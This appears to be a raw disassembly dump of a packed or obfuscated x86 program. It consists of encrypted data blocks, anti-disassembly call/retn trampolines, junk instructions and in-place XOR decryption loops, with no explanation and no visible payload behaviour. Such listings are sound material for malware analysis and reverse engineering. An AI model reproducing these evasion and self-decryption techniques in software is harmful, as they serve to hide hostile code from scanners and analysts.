dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 66E79BC3h, 0FF61ADBBh, 0ECD785B5h, 0C7816607h dd 2FBBBD91h, 0FF18E065h, 0E9302D95h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 2E41457Fh, 8BCA2C5Fh, 0E921119Dh, 0DE907h, 0C3E70000h dd 0A55C5E0Eh, 8CFE8CE6h, 966FFF6h, 0E913C98Dh, 0C9BD8307h dd 7E91Eh, 25840Fh, 8BFC0000h, 0E925DD9Dh, 11E95007h, 90000000h dd 0AAC28527h, 0E02B42Bh, 43EB4A0Fh, 97990A3Dh, 66243489h dd 0FF487EBFh, 0ECD785B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0AAC7BDE4h dd 0CE82BBEh, 0A5000000h, 0E863BCAFh, 0FD5ADEC6h, 66B7AA46h dd 4639CF81h, 86BF665Bh, 9D95FF0Eh, 6607E91Fh, 0FFBE7CBBh dd 0ECD785B5h, 71B53107h, 8B07E91Ah, 0E9083DBDh, 3995FF07h dd 107E901h, 0E90E55B5h, 0CDBD8307h, 207E929h, 64840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 40E0A8C3h, 8B522E0Ah, 0E924A99Dh, 75858B07h dd 6A07E908h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0E57AC355h, 11235A5Ch, 0C66B2431h dd 0E8510000h, 6, 7C2AE219h, 61601844h, 85C75B5Bh, 7E924ADh dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5CD923 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD923 proc near ; CODE XREF: sdfs____:005CD91Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5CD923 endp ; --------------------------------------------------------------------------- db 8Dh dd 0BD233A46h, 7E91965h, 0FFF319E9h, 0C18BFCFFh, 861858Dh dd 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0F09F73C3h, 319D5CB6h, 0E934DD85h, 60519007h dd 13E9C78Bh, 0A3000000h, 250583DBh, 75C2BE03h, 0C90BC1D9h dd 41F8B500h, 5B61A26Bh, 52506050h, 310FF48Ah, 8F0Fh, 585A0000h dd 8C49B853h, 615B2595h, 60006A90h, 890FCF8Bh, 6, 1FED9589h dd 6A6107E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 20698E36h, 11A38CC1h, 399D8960h dd 0F07E917h, 58Ch, 0D2816600h, 8D614504h, 0ED9E5385h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0E159774Bh, 24B9CDF8h, 5C083F3h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CEC35747h, 0DF1934D9h dd 0BE890h, 892D0000h, 49DF13CAh, 6D289A93h, 505250C4h dd 5A310F52h, 0E8310F58h, 0Dh, 347129B9h, 0C4190BF1h, 3949E91h dd 585A5BDFh, 7E8505Fh, 52000000h, 87417C7Dh, 0BF661159h dd 905F4648h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 9C35040h, 0AEE8C76h, 45AC2F6Ch, 0B3D381D0h, 6A2016B0h dd 6AF900h, 55B58B60h, 6107E92Eh, 0FB995FFh, 6A07E9h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0CFD013C3h, 8B264E42h, 0E913619Dh, 2C8D8D07h, 6A07ECD7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 6EBEC351h, 2B6CC696h, 4880Fh, 0BF660000h dd 0D1FF0927h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0B0C35040h, 18B6269h, 66FADC13h, 0EE8E5h, 5E700000h dd 2D72C18Eh, 538D7D7Dh, 0B4753F21h, 69BD835Fh, 107E91Bh dd 0AB850Fh, 0B5890000h, 7E91655h, 6A026Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0DE608FC3h dd 9FDAF4Ch, 89CE7228h, 0E91DA5BDh, 50529007h, 0AE852h dd 0CBF30000h, 3FCC0419h, 1B568236h, 0E9310F5Bh, 6, 0AABCA851h dd 585ACE45h, 8D0F505Fh, 0Ch, 0D98B5250h, 0BB66310Fh, 585A19A5h dd 48C0F90h, 66000000h, 0FFE290BBh, 0E902CD95h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 1C3207A2h, 9AE9A691h, 0FDBD8B52h, 5B07E934h, 0BFCF8166h dd 0E06E957h, 0E80000h, 5D000000h, 9E5DED81h, 0BB6607EDh dd 6A6587h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0B79594C3h, 454F67DBh, 0AE96311h, 50000000h dd 4C546EEh, 0F85151E8h, 6858DDDh, 0E907ECB4h, 9, 0DF54A361h dd 1441EB00h, 516090D2h, 0E95FD98Bh, 0Ch, 687961CAh, 8C50A3BDh dd 38D76180h, 0DE85061h, 7E000000h, 74322FD2h, 0FA768FD3h dd 140ED998h, 5FFE8B66h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0CE4BA12h, 0B1AB5AAh dd 3035B589h, 816607E9h, 64FCFDF3h, 35FFh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 856B32C3h, 5F48674Eh, 2AF99D8Bh, 64F807E9h, 2589h, 6E90000h dd 0DE000000h, 2899B523h, 9D85FF62h, 8A07E90Fh, 0BBFF6ADDh dd 828135Bh, 2045B5FFh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 9D8BF6C3h, 7E90A85h dd 26058D89h, 95FF07E9h, 7E9233Dh, 115E9h, 0CE900h, 73540000h dd 0E665174Ah, 0AFB5E1CCh, 0B0F8CCh, 29F9B589h, 70E607E9h dd 14FD9D8Bh, 71E407E9h, 0FA19529h, 7E907E9h, 0D6000000h dd 65CF097Ah, 613C01EEh, 0D8830Fh, 85090000h, 7E929E1h dd 0E9C8B60Fh, 0Bh, 0B0EED2B7h, 20D48C44h, 0BA6A1082h dd 6, 1F19D8Bh, 0C18B07E9h, 9E9h, 661D5B00h, 9D7D0D46h dd 0BD89D4B9h, 7E9313Dh, 8B04E8C1h, 0E92B819Dh, 0E2F76607h dd 850FC82Bh, 6, 1BB99D89h, 0D18B07E9h, 0C38166h, 3E983h dd 0E7800000h, 0F1858BDCh, 8107E91Dh, 409D5CEFh, 7C0832Ah dd 83DFBF0Fh, 0BE900C0h, 6D000000h, 0D80ED592h, 0EF843825h dd 0D03BDFBAh, 11830Fh, 9D230000h, 7E92065h, 3DE9h, 0F1952900h dd 8B07E902h, 0E911B98Dh, 83DF8B07h, 840F01E1h, 26h, 15F9BD23h dd 0A58307E9h, 7E911B9h, 8DBD8BFEh, 8907E92Ch, 0E91DF195h dd 8D295707h, 7E92031h, 0E95Bh, 0B58D0000h, 7ED1440h, 6AD88B66h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 66FA96CAh, 9D89FE8Bh, 7E934B5h, 0C3195FFh dd 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 91416C3h, 820F32D1h, 0Ch, 9FB86660h, 798529CAh dd 6107E908h, 774B9h, 0CE900h, 51810000h, 810B1948h, 0E51ECEDDh dd 0E18391F8h, 18DB81FCh, 0BF1C531Dh, 79AF073Bh, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0C4B3C77Ch, 0B3EE2793h, 0F1BD0Bh, 958907E9h, 7E918BDh dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0D343015Bh, 0FD22B2Ch, 68Eh, 0ED852900h dd 0AD07E90Ch, 0E8D1C233h, 0E983D003h, 8BF47504h, 0E908659Dh dd 10E907h, 0B23D0000h, 38562198h, 66BA04DFh, 2C0CE625h dd 880D15E1h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 223DC351h, 50BE2170h dd 5E9E951h, 86000000h, 5D959ADEh, 23399D89h, 958B07E9h dd 7E9320Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 74C35141h, 318117F6h, 0F60C0B4h, 0B70FF8BFh, 0E58D8BFEh dd 6607E922h, 8B50D98Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 65C35242h, 6E9h, 0A49C3600h, 6A21FFE7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 7DD9C352h, 0EE92071h, 7A000000h, 0E2E81FB2h, 6DC55923h dd 3B39FD1Fh, 2DBD8354h, 7E91Ch, 0A2840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 6ABF6C3h, 6DF13E11h, 0BD8BE8B7h, 7E929A9h, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0BE10B64Ch, 8D97E9BBh, 5A8D8D4Eh, 6A07E94Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 1278C355h, 0A400BBC3h, 0E1FF4EB4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0A9C35242h, 702AFCBh, 418EDED2h dd 22B1BD83h, 0F0007E9h, 43184h, 0BD83F800h, 7E922B1h dd 3E840F01h, 51000004h, 0BD835FF5h, 7E922B1h, 0F8860F03h dd 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0E139C356h, 1DC9BED8h, 27B7925Ch, 1BC99D8Bh dd 0CE807E9h, 1E000000h, 10620C9Ch, 63B7AD8Ah, 0BF81D9B5h dd 5CBB6C18h, 0BD8B605Fh, 7E923FDh, 0BBD98C66h, 2E03C626h dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0BFB1C353h, 840FC90Ah, 199h, 55858BF5h dd 6007E90Ch, 0AE9h, 0E8DBEA00h, 8726B50Eh, 299BF124h dd 0E91D418Dh, 85336107h, 7E91CE9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 3EC35040h, 0AEE61765h, 0C8144765h dd 0D88AFC95h, 0DF8B5090h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0C32E7DE4h dd 8A5BBB87h, 0D88AC086h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 47F3BC3h, 0F77B6ADAh dd 850915D6h, 7E92A5Dh, 0DE8h, 0B8D62000h, 622B7811h, 9D46F645h dd 8D89E7F4h, 7E90DCDh, 4E85Fh, 3FF0000h, 0E2BF001Fh, 504A51E4h dd 168D0Fh, 0AE80000h, 0BF000000h, 81B0D197h, 0CC169214h dd 8F0FB1h, 5F000000h, 424448Bh, 840Fh, 8B0000h, 0CE8h dd 0CF122C00h, 0F4731E74h, 2770186Dh, 0DE8B6625h, 2444895Fh dd 0AE86004h, 0E2000000h, 91C0AFEh, 1B8E6C9h, 11E802h dd 48FD0000h, 0E2659B55h, 958193BEh, 0F8BAFE12h, 59F3327Ch dd 0FD80B95Fh, 58612FAAh, 0F8FEBF0Fh, 2D995FFh, 800F07E9h dd 0 ; --------------------------------------------------------------------------- mov [ebp+7ECD785h], eax push 0 push edx call sub_5CE309 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE309 proc near ; CODE XREF: sdfs____:005CE301p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5CE309 endp ; --------------------------------------------------------------------------- test al, 0FCh jmp loc_5CE4BA ; --------------------------------------------------------------------------- push 0 push esi call sub_5CE32B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE32B proc near ; CODE XREF: sdfs____:005CE323p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5CE32B endp ; --------------------------------------------------------------------------- db 82h dd 2C1391B3h, 0D1F33B1Eh, 7D858BF4h, 0E907ECD7h, 0Bh, 109FD304h dd 8643DE21h, 0C7A6D7AFh, 1800h, 0DA8B6600h, 0D781B58Bh dd 6A07ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0E74BA0C3h, 9B8424ECh, 31384AAAh, 0E901F185h dd 59858B07h, 8B07E918h, 0E9011DBDh, 89068907h, 0E902BD85h dd 55858B07h, 6A07E90Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0E05AC355h, 5C6137C2h dd 860FD136h, 6, 1F61BD89h, 468907E9h, 50D88B04h, 80243489h dd 0B5FFE0CBh, 7ECD77Dh, 0BE9h, 0CEAF4700h, 0B6773258h dd 0E521F919h, 0D64D3B68h, 429CBF7Ch, 34815853h, 0C94EC424h dd 56006A7Ch, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 1A14C917h, 0EE2BFD4h, 9D892B14h, 7E91AB5h dd 0D785858Dh, 0BF6607ECh, 50909624h, 310F5250h, 0DE9h dd 358E4A00h, 89699954h, 6F91572Eh, 585A4090h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0A2E62321h, 0D5BD121Ah, 8B66434Fh, 0D995FFFEh, 6A07E902h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0F875C355h, 0E5E78153h, 5F4B335Ah, 187D9D8Bh db 0E9h, 7 ; --------------------------------------------------------------------------- loc_5CE4BA: ; CODE XREF: sdfs____:005CE31Bj popa mov edi, [ebp+7E91C45h] mov dword ptr [ebp+7E922B1h], 3 push 0 push esi call sub_5CE4D6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE4D6 proc near ; CODE XREF: sdfs____:005CE4CEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CE4D6 endp ; --------------------------------------------------------------------------- cmp [ebp+400F2DDh], ebx movsx ebx, di cmp dword ptr [ebp+7ECD785h], 0 jz loc_5CE52B push 0 push esi call sub_5CE507 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE507 proc near ; CODE XREF: sdfs____:005CE4FFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5CE507 endp ; --------------------------------------------------------------------------- db 85h dd 53F76E41h, 864DB613h, 21E9h, 6D852900h db 25h, 0E9h, 7 ; --------------------------------------------------------------------------- loc_5CE52B: ; CODE XREF: sdfs____:005CE4F6j ; sdfs____:005CE542j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5CE52B jmp short loc_5CE57C ; --------------------------------------------------------------------------- loc_5CE546: ; CODE XREF: sdfs____:005CE55Dj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CE546 jmp short loc_5CE57C ; --------------------------------------------------------------------------- loc_5CE561: ; CODE XREF: sdfs____:005CE578j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CE561 jmp short $+2 loc_5CE57C: ; CODE XREF: sdfs____:005CE544j ; sdfs____:005CE55Fj mov eax, eax sub [ebp+7E908E1h], edi sbb bl, 0CAh cmp dword ptr [ebp+7E922B1h], 3 jnz loc_5CE9DE mov [ebp+7E92A69h], esi cmp dword ptr [ebp+7ECD785h], 0 jz loc_5CE9DE mov [ebp+7E92B51h], edi push dword ptr [ebp+7ECD785h] sub edi, 0A65D0ECh call dword ptr [ebp+7E91349h] push 0 push ebp call sub_5CE5CA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE5CA proc near ; CODE XREF: sdfs____:005CE5C2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5CE5CA endp ; --------------------------------------------------------------------------- dw 0E7B3h dd 8E904h, 0AA560000h, 7A9895E7h, 0B58B677Bh, 7ECD779h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 4FC35242h dd 106C733h, 6A000100h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 7D7CC352h, 46B5AEF6h dd 0D3813112h, 2008A77Fh, 2D499D8Bh, 665007E9h, 3489FB8Bh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 79154909h, 3DC8AC04h, 85B5FFB1h, 6A07ECD7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 215FC355h, 0C5503293h, 95FF8AAEh, 7E91AB1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 4BC35646h dd 0E9FBF09Ah, 7, 9537D659h, 8B4A6968h, 0ECD779B5h, 5E807h dd 896F0000h, 60B615E4h, 13918589h, 0B52B07E9h, 7E90B81h dd 858B5B61h, 7E92449h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0E6C35747h, 91559EE0h, 10915EDDh, 0C48689C3h dd 0E9000000h, 8, 0EB4C5AD7h, 875C60DDh, 8B33F780h, 0E9320D95h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 2C10B401h, 27E78065h, 8904C283h, 0E909E585h dd 20508907h, 58D89h, 0B58907E9h, 7E9011Dh, 0ECA1858Dh dd 6A07ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 8FE2DCC3h, 8B3446AFh, 0E919D59Dh, 719D8B07h dd 8907E92Ch, 0B886h, 1CBF6600h, 1006A10h, 0E92631B5h dd 85B5FF07h, 0F07ECD7h, 82h, 0CD95FF00h, 6A07E902h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 9606C355h, 50FE8B66h, 8C0Fh, 6A960000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 927EC353h dd 7D83D3C8h, 0DE963h, 0FAF80000h, 0F5960F8Ah, 5DDF4726h dd 0FF0D107Bh, 0ECD785B5h, 178A0F07h, 0E8000000h, 5, 5785AA7Ch dd 7E9AEh, 222F0000h, 0C6CF94BAh, 95FF5F9Bh, 7E9302Dh dd 2B659D8Bh, 0BD8307E9h, 7E91EC9h, 6C840F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 9E1FC350h, 0FDF6CDAh, 0E950DEBFh, 7, 41FBEB6h dd 89060F7Ah, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0D85601C3h, 14E9269Dh, 26000000h dd 1405D029h, 94042176h, 0D71404A1h, 4DB4DC75h, 0FFA56F8Ch dd 0ECD785B5h, 3AEB8107h, 0FF536B2Eh, 0E91F9D95h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 9A821231h, 4357C021h, 8F0F9F49h, 6, 16298529h, 0B5FF07E9h dd 7ECD785h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0A4C35545h, 2B081407h, 14E957h, 845A0000h, 9DD85601h dd 80197F26h, 2F3081B4h, 6B8341E0h, 0FF5FAA74h, 0E9013995h dd 83FE8B07h, 0E929CDBDh, 840F0207h, 57h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 55C35040h, 69BD8B54h dd 8B07E907h, 0E9087585h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 38C3B962h dd 736A02h, 0C65A3Fh, 0FDBD8900h, 0C707E911h, 0E924AD85h dd 7, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0EF816686h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- icebp loc_5CE9DE: ; CODE XREF: sdfs____:005CE58Ej ; sdfs____:005CE5A1j jmp near ptr dword_5CD934+3DDh ; --------------------------------------------------------------------------- push 0 push eax call sub_5CE9EE and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE9EE proc near ; CODE XREF: sdfs____:005CE9E6p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5CE9EE endp ; --------------------------------------------------------------------------- dw 0F65Bh ; --------------------------------------------------------------------------- mov [esi+54h], gs clc pusha or [ebp+7E93479h], ebx mov bx, 98D0h popa mov eax, ecx mov ebx, [ebp+7E91B19h] lea eax, [ebp+7E90861h] mov [ebp+7E92C69h], ebx push eax mov [esp], eax push 0 push edx call sub_5CEA33 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEA33 proc near ; CODE XREF: sdfs____:005CEA2Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CEA33 endp ; --------------------------------------------------------------------------- popf mov byte ptr [ecx+17h], 8Ah cmp bh, [esi+5Ch] lds ecx, [edi] mov word ptr ds:53000000h, es movzx edi, bx pop ebx push 0 mov [ebp+7E91B55h], ebx push 0 push 0 push eax call sub_5CEA6C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEA6C proc near ; CODE XREF: sdfs____:005CEA64p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5CEA6C endp ; --------------------------------------------------------------------------- xor al, 0BFh cmp al, 0A0h mov [ebp+7E92C81h], ecx loc_5CEA86: ; CODE XREF: sdfs____:005CEAB0j lea eax, [ebp+7EDAEEDh] push 0 push edi call sub_5CEA97 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEA97 proc near ; CODE XREF: sdfs____:005CEA8Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5CEA97 endp ; --------------------------------------------------------------------------- push eax pop eax xchg eax, esp xchg eax, ebp call sub_5CEABE jno short loc_5CEA86 imul dword ptr [ecx-51h] mov al, 1Fh mov byte ptr [ebx+49h], 57h sub ch, 0D7h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CEABE proc near ; CODE XREF: sdfs____:005CEAABp jmp sub_5CEACC sub_5CEABE endp ; --------------------------------------------------------------------------- adc eax, 376C7246h pop ebx db 36h push esi aaa ; =============== S U B R O U T I N E ======================================= sub_5CEACC proc near ; CODE XREF: sub_5CEABEj pop ebx call sub_5CEADA popf aas adc [ebp+7Ah], edx push ss and al, 96h sub_5CEACC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CEADA proc near ; CODE XREF: sub_5CEACC+1p jmp sub_5CEAF2 sub_5CEADA endp ; --------------------------------------------------------------------------- db 0A1h ; --------------------------------------------------------------------------- jmp fword ptr cs:[esi-3Bh] ; --------------------------------------------------------------------------- dd 803D51BCh, 0D90A7DE8h, 1DA51D68h db 40h, 0A1h ; =============== S U B R O U T I N E ======================================= sub_5CEAF2 proc near ; CODE XREF: sub_5CEADAj pop ebx add eax, 5 push 0 push ebx call sub_5CEB01 and [ebx-3Dh], bl sub_5CEAF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CEB01 proc near ; CODE XREF: sub_5CEAF2+7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5CEB01 endp ; --------------------------------------------------------------------------- push ss mov eax, ds:7C00BAF6h cli push es add byte ptr [esi], 53h mov [ebp+7E902A5h], eax pop edi nop mov di, si push eax nop push 0 push ebp call sub_5CEB34 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEB34 proc near ; CODE XREF: sdfs____:005CEB2Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5CEB34 endp ; --------------------------------------------------------------------------- dd 5B4B4h, 0F3BEC291h, 0FE9h, 0A080C500h, 810E9CC0h, 95A09BCAh dd 8608892Bh, 13E8F9h, 0D61A0000h, 0D232B532h, 914BFA1Bh dd 1C009AFBh, 0E2FF921Fh, 75BD8BE0h, 5F07E909h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 367551C3h, 0BD09C8F8h, 7E93535h, 0AADB531h, 6A07E9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 7EC35040h dd 0FB995FFh, 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 3B824DC3h, 7ECF8166h, 8D18B3DBh dd 0ECD72C8Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0A1895216h, 0F98A5667h dd 23D1FF5Bh, 0E90F559Dh, 69BD8307h, 107E91Bh, 71850Fh dd 9D8B0000h, 7E912F5h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 437EABC3h, 0BABF42E6h dd 0F8BF778Fh, 502ED192h, 489D88Bh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0D966A6C4h dd 3B26919Ch, 5E9BBh, 0F6EE0000h, 0FF42CCD9h, 0E902CD95h dd 9D9D8907h, 0E907E901h, 0C8Fh, 0E8h, 0ED815D00h, 7EDAEF7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 94C35646h dd 68E0FF5h, 8B000000h, 0E91ACDBDh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 9CC7FF9Dh dd 1FFFA547h, 0BF0F175Fh, 18C0FD9h, 0F5000000h, 0B406858Dh dd 6A07ECh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 3BE85EC3h, 5050EC55h, 0FDF8B52h, 3FBF6631h dd 89585A9Bh, 8B662404h, 35FF64DEh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5CED5B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CED5B proc near ; CODE XREF: sdfs____:005CED53p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5CED5B endp ; --------------------------------------------------------------------------- icebp ffreep st(7) mov esp, 643DCADBh mov large ds:0, esp push 0 push ecx call sub_5CED84 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CED84 proc near ; CODE XREF: sdfs____:005CED7Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5CED84 endp ; --------------------------------------------------------------------------- dd 64A044C4h, 12800FC0h, 0E9000000h, 0Dh, 0F1FCCCF3h, 0FE55FDE3h dd 0B41A749Bh, 85FFF593h, 7E90F9Dh, 0CE8h, 322EAA00h, 472AEFDh dd 8C6525AFh, 8D895687h, 7E90801h, 0FF6A5F5Bh, 0C9B58951h dd 5B07E930h, 29A5B5FFh, 860F07E9h, 3, 0FFFE8B66h, 0E9233D95h dd 0D9E907h, 0B5890000h, 7E9354Dh, 9D0B00B0h, 7E907D9h dd 0BD2B70E6h, 7E91B55h, 816671E4h, 3CC635C3h, 0B4830F61h dd 89000000h, 0E9099D8Dh, 0C8B60F07h, 0BAD98B66h, 6, 0BE9h dd 0A2596600h, 0CC551BC3h, 0C42D5BEh, 0BD8BC18Bh, 7E916E9h dd 0F04E8C1h, 0F766FFBFh, 0D98B66E2h, 8B66C82Bh, 9D18BDFh dd 0E930619Dh, 5E907h, 66570000h, 8B5BD88Bh, 0E9311985h dd 68A0F07h, 89000000h, 0E9256D85h, 7C08307h, 0CDB50151h dd 5B07E90Ah, 6600C083h, 0D03BFE8Bh, 0B830Fh, 38E90000h dd 89000000h, 0E900B59Dh, 5D8D8B07h, 0B307E91Eh, 1E18342h dd 21840Fh, 0B5890000h, 7E93049h, 1E5DA583h, 8BFE07E9h dd 0E924A59Dh, 19958907h, 6607E931h, 0E9F88Bh, 8D000000h dd 0ED1DC8B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 2725613Eh, 